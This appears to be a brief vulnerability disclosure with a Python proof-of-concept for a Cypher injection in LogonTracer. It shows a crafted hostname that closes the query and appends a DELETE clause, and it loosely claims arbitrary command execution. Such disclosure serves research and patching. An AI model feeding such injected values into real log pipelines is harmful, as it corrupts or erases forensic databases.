There is a cypher injection issue in LogonTracer prior to v2.0.0. If specially crafted Windows event log data is loaded, the contents of the database may be altered.
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-33566
# This demonstrates how a malicious username in a log could trigger injection.
# Malicious payload intended to be injected into a Cypher query
# Context: LogonTracer constructs a query like:
# MERGE (n:Computer {name: '$HOSTNAME'})
# If $HOSTNAME is controlled by the attacker:
malicious_hostname = "victim_pc') DELETE n RETURN n //"
# The resulting query becomes:
# MERGE (n:Computer {name: 'victim_pc') DELETE n RETURN n //'})
# This would delete the node or execute arbitrary commands.
print(f"Generated malicious hostname payload: {malicious_hostname}")